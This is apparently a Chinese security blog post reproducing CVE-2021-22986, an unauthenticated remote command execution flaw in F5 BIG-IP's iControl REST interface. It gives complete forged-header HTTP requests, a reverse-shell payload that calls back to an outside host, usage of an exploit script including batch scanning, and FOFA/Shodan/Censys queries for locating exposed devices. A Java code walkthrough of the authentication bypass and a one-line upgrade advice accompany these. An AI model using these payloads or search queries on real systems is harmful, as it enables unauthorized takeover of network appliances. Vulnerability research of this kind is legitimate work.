CVE-2021-22986:F5 BIG-IP iControl REST RCE

2021-04-01 09:49:54 浏览数 (1)

影响范围

  • F5 BIG-IQ 6.0.0-6.1.0
  • F5 BIG-IQ 7.0.0-7.0.0.1
  • F5 BIG-IQ 7.1.0-7.1.0.2
  • F5 BIG-IP 12.1.0-12.1.5.2
  • F5 BIG-IP 13.1.0-13.1.3.5
  • F5 BIG-IP 14.1.0-14.1.3.1
  • F5 BIG-IP 15.1.0-15.1.2
  • F5 BIG-IP 16.0.0-16.0.1

漏洞类型

远程命令执行

利用条件

影响范围应用

漏洞概述

F5 BIG-IP是美国F5公司一款集成流量管理、DNS、出入站规则、web应用防火墙、web网关、负载均衡等功能的应用交付平台。

2021年3月16日,F5更新的安全通告中披露了一则iControl REST接口未授权远程命令执行漏洞,此漏洞允许未经身份验证的攻击者通过BIG-IP管理接口和自身的IP地址,通过网络访问iControl REST接口,执行任意系统命令,创建或删除文件,并禁用服务。

漏洞复现

环境搭建

虚拟机下载

首先去官网(https://login.f5.com/resource/login.jsp)注册一个账号(ondxbz43867@chacuo.net/12345Qwert),并登陆:

loginlogin

之后进入下载页面,在这里我们下载v15.x系列的漏洞版本和安全版本进行分析测试,下载页面如下:

https://downloads.f5.com/esd/productlines.jsp

Download Download

下载存在漏洞的BIG-IP的ova文件:

之后选择任意一种下载方式下载:

虚拟机搭建

将ova文件导入VMware Workstations中:

启动之后会要求输入账号密码,BIG默认账号密码为root/default:

成功登陆之后会要求我们重置密码,这个密码为Web页面的登陆密码(该密码要有一定的复杂度,这里使用kvqasdt!q1和kvqasdt!q2)需要记住:

然后在命令行下输入"config"打开打开Configuration Utility工具来查看当前BIG-IP的IP地址信息:

之后点击"OK",然后选择IPV4 IP地址:

之后你会看到当前存在漏洞的靶机主机IP地址信息(192.168.174.164)和安全靶机IP地址信息(192.168.174.165):

之后在浏览器中使用https://ip地址进行访问:

之后使用"admin/之前重置的密码—kvqasdt!q1"进行登录认证:

之后还需要再重置一次登录密码,这里重置为hkn!2gQWsgk和hkn!3gQWsgk

至此,我们已经拥有一个账号为admin/hkn!2gQWsgk的漏洞靶机和账户为admin/hkn!3gQWsgk的安全主机,下面我们进行简易测试~

漏洞利用

访问/mgmt/tm/util/bash,同时使用burpsuite抓包,添加一下POST请求体:

代码语言:javascript复制
{
	"command":"run",	
	"utilCmdArgs":"-c whoami"
}

之后直接执行,发现会需要进行身份认证:

代码语言:javascript复制
POST /mgmt/tm/util/bash HTTP/1.1
Host: 192.168.174.164
Connection: close
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
X-F5-Auth-Token: 
Authorization: Basic YWRtaW46QWwxZXg=
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 50

{
"command":"run",	
"utilCmdArgs":"-c whoami"
}

之后添加一下请求头,实现未授权RCE

代码语言:javascript复制
X-F5-Auth-Token: 
Authorization: Basic YWRtaW46QVNhc1M=

代码语言:javascript复制
POST /mgmt/tm/util/bash HTTP/1.1
Host: 192.168.174.164
Connection: close
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
X-F5-Auth-Token: 
Authorization: Basic YWRtaW46QVNhc1M=
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 50

{
"command":"run",	
"utilCmdArgs":"-c whoami"
}

之后通过RCE查看id

代码语言:javascript复制
POST /mgmt/tm/util/bash HTTP/1.1
Host: 192.168.174.164
Connection: close
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
X-F5-Auth-Token: 
Authorization: Basic YWRtaW46QWwxZXg=
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 46

{
"command":"run",	
"utilCmdArgs":"-c id"
}

之后反弹一个shell到Kali linux中:

代码语言:javascript复制
-c 'bash -i >&/dev/tcp/192.168.174.129/8888 0>&1'

代码语言:javascript复制
POST /mgmt/tm/util/bash HTTP/1.1
Host: 192.168.174.164
Connection: close
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
X-F5-Auth-Token: 
Authorization: Basic YWRtaW46QWwxZXg=
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 90

{
"command":"run",	
"utilCmdArgs":"-c 'bash -i >&/dev/tcp/192.168.174.129/8888 0>&1'"
}

漏洞分析

漏洞POC如下:

代码语言:javascript复制
POST /mgmt/tm/util/bash HTTP/1.1
Host: 192.168.174.164
Connection: close
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
X-F5-Auth-Token: 
Authorization: Basic YWRtaW46QVNhc1M=
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 50

{
"command":"run",	
"utilCmdArgs":"-c whoami"
}

f5.rest.common.RestOperationIdentifier.class类中的setIdentityFromBasicAuth函数用于根据请求包中的信息来初始化identityData()

代码语言:javascript复制
  private static boolean setIdentityFromBasicAuth(RestOperation request) {
    String authHeader = request.getBasicAuthorization();
    if (authHeader == null)
      return false; 
    AuthzHelper.BasicAuthComponents components = AuthzHelper.decodeBasicAuth(authHeader);
    request.setIdentityData(components.userName, null, null);
    return true;
  }
}

以上代码首先会获取请求头中的Authorization字段,之后调用AuthzHelper.decodeBasicAuth进行一些base64解密操作:

代码语言:javascript复制
  public static BasicAuthComponents decodeBasicAuth(String encodedValue) {
    BasicAuthComponents components = new BasicAuthComponents();
    if (encodedValue == null)
      return components; 
    String decodedBasicAuth = new String(DatatypeConverter.parseBase64Binary(encodedValue));
    int idx = decodedBasicAuth.indexOf(':');
    if (idx > 0) {
      components.userName = decodedBasicAuth.substring(0, idx);
      if (idx   1 < decodedBasicAuth.length())
        components.password = decodedBasicAuth.substring(idx   1); 
    } 
    return components;
  }

之后调用setIdentityData函数来设置认证信息,需要注意的是这里传入的第二个、第三个参数全为null:

代码语言:javascript复制
request.setIdentityData(components.userName, null, null);

setIdentityData函数的具体实现如下:

代码语言:javascript复制
  public RestOperation setIdentityData(String userName, RestReference userReference, RestReference[] groupReferences) {
    if (userName == null && !RestReference.isNullOrEmpty(userReference)) {
      String segment = UrlHelper.getLastPathSegment(userReference.link);
      if (userReference.link.equals(UrlHelper.buildPublicUri(UrlHelper.buildUriPath(new String[] { WellKnownPorts.AUTHZ_USERS_WORKER_URI_PATH, segment }))))
        userName = segment; 
    } 
    if (userName != null && RestReference.isNullOrEmpty(userReference))
      userReference = new RestReference(UrlHelper.buildPublicUri(UrlHelper.buildUriPath(new String[] { WellKnownPorts.AUTHZ_USERS_WORKER_URI_PATH, userName }))); 
    this.identityData = new IdentityData();
    this.identityData.userName = userName;
    this.identityData.userReference = userReference;
    this.identityData.groupReferences = groupReferences;
    return this;
  }

这里的userName不为null,所以直接跳过第一个if语句,而此时的userReference为空,满足第二个if条件语句,之后设置新的userReference,具体实现代码如下:

代码语言:javascript复制
userReference = new RestReference(UrlHelper.buildPublicUri(UrlHelper.buildUriPath(new String[] { WellKnownPorts.AUTHZ_USERS_WORKER_URI_PATH, userName }))); 

这里的WellKnownPorts.AUTHZ_USERS_WORKER_URI_PATH如下:

代码语言:javascript复制
public static final String AUTHZ_USERS_WORKER_URI_PATH = UrlHelper.buildUriPath(new String[] { AUTHZ_WORKER_URI_PATH, "users" });

 AUTHZ_WORKER_URI_PATH如下:

代码语言:javascript复制
public static final String AUTHZ_WORKER_URI_PATH = UrlHelper.buildUriPath(new String[] { "shared/", "authz" });

而这里的buildUriPath主要用于路径拼接:

代码语言:javascript复制
  public static String buildUriPath(String... pathSegments) {
    StringBuilder builder = new StringBuilder();
    for (String segment : pathSegments) {
      if (null != segment)
        if (segment.length() != 0) {
          if (segment.startsWith("/"))
            segment = segment.substring(1); 
          if (segment.endsWith("/"))
            segment = segment.substring(0, segment.length() - 1); 
          if (segment.length() != 0) {
            builder.append("/");
            boolean hasPathSeparator = segment.contains("/");
            if (!hasPathSeparator) {
              boolean hasQuerySeparator = segment.contains(RestOperation.QUERY_SEPARATOR_STRING);
              if (!hasQuerySeparator)
                segment = CharEscapers.escapeUriPath(segment); 
            } 
            builder.append(segment);
          } 
        }  
    } 
    return builder.toString();
  }

所以最后的新userReference为:shared/authz/users/admin,之后更新this信息:

代码语言:javascript复制
    this.identityData = new IdentityData();
    this.identityData.userName = userName;
    this.identityData.userReference = userReference;
    this.identityData.groupReferences = groupReferences;
    return this;

所以最后的用户认证信息如下:

代码语言:javascript复制
identityData.userName = 'admin';
identityData.userReference = 'shared/authz/users/admin'
identityData.groupReference = null;

下面来看鉴权部分,其核心部分位于f5.rest.workers.EvaluatePermissions的completeEvaluatePermission函数,具体代码如下所示:

代码语言:javascript复制
private static void completeEvaluatePermission(final RestOperation request, AuthTokenItemState token, final CompletionHandler<Void> finalCompletion) {
    final String path;
    if (token != null) {
      if (token.expirationMicros.longValue() < RestHelper.getNowMicrosUtc()) {
        String error = "X-F5-Auth-Token has expired.";
        setStatusUnauthorized(request);
        finalCompletion.failed(new SecurityException(error), null);
        return;
      } 
      request.setXF5AuthTokenState(token);
    } 
    request.setBasicAuthFromIdentity();
    if (request.getUri().getPath().equals(EXTERNAL_LOGIN_WORKER) && request.getMethod().equals(RestOperation.RestMethod.POST)) {
      finalCompletion.completed(null);
      return;
    } 
    if (request.getUri().getPath().equals(UrlHelper.buildUriPath(new String[] { EXTERNAL_LOGIN_WORKER, "available" })) && request.getMethod().equals(RestOperation.RestMethod.GET)) {
      finalCompletion.completed(null);
      return;
    } 
    final RestReference userRef = request.getAuthUserReference();
    if (RestReference.isNullOrEmpty(userRef)) {
      String error = "Authorization failed: no user authentication header or token detected. Uri:"   request.getUri()   " Referrer:"   request.getReferer()   " Sender:"   request.getRemoteSender();
      setStatusUnauthorized(request);
      finalCompletion.failed(new SecurityException(error), null);
      return;
    } 
    if (AuthzHelper.isDefaultAdminRef(userRef)) {
      finalCompletion.completed(null);
      return;
    } 
    if (UrlHelper.hasODataInPath(request.getUri().getPath())) {
      path = UrlHelper.removeOdataSuffixFromPath(UrlHelper.normalizeUriPath(request.getUri().getPath()));
    } else {
      path = UrlHelper.normalizeUriPath(request.getUri().getPath());
    } 
    final RestOperation.RestMethod verb = request.getMethod();
    if (path.startsWith(EXTERNAL_GROUP_RESOLVER_PATH) && request.getParameter("$expand") != null) {
      String filterField = request.getParameter("$filter");
      if (USERS_GROUP_FILTER_STRING.equals(filterField) || USERGROUPS_GROUP_FILTER_STRING.equals(filterField)) {
        finalCompletion.completed(null);
        return;
      } 
    } 
    if (token != null && path.equals(UrlHelper.buildUriPath(new String[] { EXTERNAL_AUTH_TOKEN_WORKER_PATH, token.token }))) {
      finalCompletion.completed(null);
      return;
    } 
    roleEval.evaluatePermission(request, path, verb, new CompletionHandler<Boolean>() {
          public void completed(Boolean result) {
            if (result.booleanValue()) {
              finalCompletion.completed(null);
              return;
            } 
            String error = "Authorization failed: user="   userRef.link   " resource="   path   " verb="   verb   " uri:"   request.getUri()   " referrer:"   request.getReferer()   " sender:"   request.getRemoteSender();
            EvaluatePermissions.setStatusUnauthorized(request);
            finalCompletion.failed(new SecurityException(error), null);
          }
          
          public void failed(Exception ex, Boolean result) {
            request.setBody(null);
            request.setStatusCode(500);
            String error = "Internal server error while authorizing request";
            finalCompletion.failed(new Exception(error), null);
          }
        });
  }

从上面的代码可以看到这里首先会校验token是否为null,此时的token(X-F5-Auth-Token)为空,所以直接绕过后面的if语句内的检测:

代码语言:javascript复制
if (token != null) {
      if (token.expirationMicros.longValue() < RestHelper.getNowMicrosUtc()) {
        String error = "X-F5-Auth-Token has expired.";
        setStatusUnauthorized(request);
        finalCompletion.failed(new SecurityException(error), null);
        return;
      } 
      request.setXF5AuthTokenState(token);
} 

之后接着往下看,可以看到会去调用request.setBasicAuthFromIdentity();,我们跟进去查看一番:

代码语言:javascript复制
  public void setBasicAuthFromIdentity() {
    if (this.authorizationData == null)
      return; 
    this.authorizationData.basicAuthValue = AuthzHelper.encodeBasicAuth(getAuthUser(), null);
  }

此处的getAuthUser对应如下,用于获取认证的账户名:

代码语言:javascript复制
  public String getAuthUser() {
    return (this.identityData == null) ? null : this.identityData.userName;
  }

encodeBasicAuth具体实现如下:

代码语言:javascript复制
  public static String encodeBasicAuth(String user, String password) {
    if (user == null)
      return null; 
    String userPass = String.format("%s:%s", new Object[] { user, (password == null) ? "" : password });
    return DatatypeConverter.printBase64Binary(userPass.getBytes());
  }

故此处的setBasicAuthFromIdentity函数当用户请求中带有authorizationData认证信息时会将认证用户名以及强制置空的空密码作为参数传入encodeBasicAuth,如果用户名不为空则按照格式"用户名:null"进行一次base64加密后返回,注意此处没有采用认证信息中的用户名密码,而是将其强制置空后传入并按格式进行base64加密后返回,之后进行路径匹配:

代码语言:javascript复制
if (request.getUri().getPath().equals(EXTERNAL_LOGIN_WORKER) && request.getMethod().equals(RestOperation.RestMethod.POST)) {
      finalCompletion.completed(null);
      return;
} 
if (request.getUri().getPath().equals(UrlHelper.buildUriPath(new String[] { EXTERNAL_LOGIN_WORKER, "available" })) && request.getMethod().equals(RestOperation.RestMethod.GET)) {
      finalCompletion.completed(null);
      return;
} 

这里的EXTERNAL_LOGIN_WORKER)对应——shared/authn/login

代码语言:javascript复制
public static final String WORKER_URI_PATH = UrlHelper.buildUriPath(new String[] { "shared/", "authn", "login" });

buildUriPath函数如下,功能主要是拼接上面的string类型的数组中的路径:

代码语言:javascript复制
  public static String buildUriPath(String... pathSegments) {
    StringBuilder builder = new StringBuilder();
    for (String segment : pathSegments) {
      if (null != segment)
        if (segment.length() != 0) {
          if (segment.startsWith("/"))
            segment = segment.substring(1); 
          if (segment.endsWith("/"))
            segment = segment.substring(0, segment.length() - 1); 
          if (segment.length() != 0) {
            builder.append("/");
            boolean hasPathSeparator = segment.contains("/");
            if (!hasPathSeparator) {
              boolean hasQuerySeparator = segment.contains(RestOperation.QUERY_SEPARATOR_STRING);
              if (!hasQuerySeparator)
                segment = CharEscapers.escapeUriPath(segment); 
            } 
            builder.append(segment);
          } 
        }  
    } 
    return builder.toString();
  }

很明显上述两个匹配全部失败,之后调用getAuthUserReference,此时的userRef非空,所以直接跳过if判断语句:

代码语言:javascript复制
final RestReference userRef = request.getAuthUserReference();
if (RestReference.isNullOrEmpty(userRef)) {
      String error = "Authorization failed: no user authentication header or token detected. Uri:"   request.getUri()   " Referrer:"   request.getReferer()   " Sender:"   request.getRemoteSender();
      setStatusUnauthorized(request);
      finalCompletion.failed(new SecurityException(error), null);
      return;
} 

之后通过检索userRef是否为DefaultAdminRef:

代码语言:javascript复制
 if (AuthzHelper.isDefaultAdminRef(userRef)) {
      finalCompletion.completed(null);
      return;
} 

isDefaultAdminRef函数实现如下所示:

代码语言:javascript复制
  public static boolean isDefaultAdminRef(RestReference userReference) {
    RestReference defaultReference = getDefaultAdminReference();
    return (defaultReference != null && defaultReference.equals(userReference));
  }

getDefaultAdminReference用于获取当前DefaultAdminRef,其功能实现如下所示:

代码语言:javascript复制
  public static RestReference getDefaultAdminReference() {
    if (DEFAULT_ADMIN_NAME == null)
      return null; 
    return new RestReference(UrlHelper.buildPublicUri(UrlHelper.buildUriPath(new String[] { WellKnownPorts.AUTHZ_USERS_WORKER_URI_PATH, DEFAULT_ADMIN_NAME })));
  }

这里的DEFAULT_ADMIN_NAME为admin:

代码语言:javascript复制
public static String DEFAULT_ADMIN_NAME = "admin";

此时的AUTHZ_USERS_WORKER_URI_PATH如下:

代码语言:javascript复制
public static final String AUTHZ_USERS_WORKER_URI_PATH = UrlHelper.buildUriPath(new String[] { AUTHZ_WORKER_URI_PATH, "users" });

AUTHZ_WORKER_URI_PATH如下:

代码语言:javascript复制
public static final String AUTHZ_WORKER_URI_PATH = UrlHelper.buildUriPath(new String[] { "shared/", "authz" });

所以最后的DefaultAdminRef为shared/authz/users/admin,而之前的identityData.userReference为'shared/authz/users/admin',所以直接进入到if语句中,完成认证:

代码语言:javascript复制
    if (AuthzHelper.isDefaultAdminRef(userRef)) {
      finalCompletion.completed(null);
      return;
    } 

漏洞EXP

使用方法:

代码语言:javascript复制
python3 CVE_2021_22986.py

漏洞检测:

代码语言:javascript复制
python3 CVE_2021_22986.py -v true -u https://192.168.174.164

命令执行:

代码语言:javascript复制
python3 CVE_2021_22986.py -a true -u https://192.168.174.164 -c id

代码语言:javascript复制
 python3 CVE_2021_22986.py -a true -u https://192.168.174.164 -c whoami

批量检测

代码语言:javascript复制
python3 CVE_2021_22986.py -s true -f check.txt

反弹shell:

代码语言:javascript复制
python3 CVE_2021_22986.py -r true -u https://192.168.174.164 -c "bash -i >&/dev/tcp/192.168.174.129/8888 0>&1"

使用EXP检测安全靶机——漏洞不存在

漏洞检索

FOFA
代码语言:javascript复制
app="F5-BIGIP"

Shodan
代码语言:javascript复制
http.title:"BIG-IP&reg;- Redirect"

Censys
代码语言:javascript复制
443.https.get.body_sha256:5d78eb6fa93b995f9a39f90b6fb32f016e80dbcda8eb71a17994678692585ee5

防御措施

升级到最新版本~

参考链接

https://support.f5.com/csp/article/K03009991

https://github.com/Al1ex/CVE-2021-22986

https://attackerkb.com/topics/J6pWeg5saG/k03009991-icontrol-rest-unauthenticated-remote-command-execution-vulnerability-cve-2021-22986

0 人点赞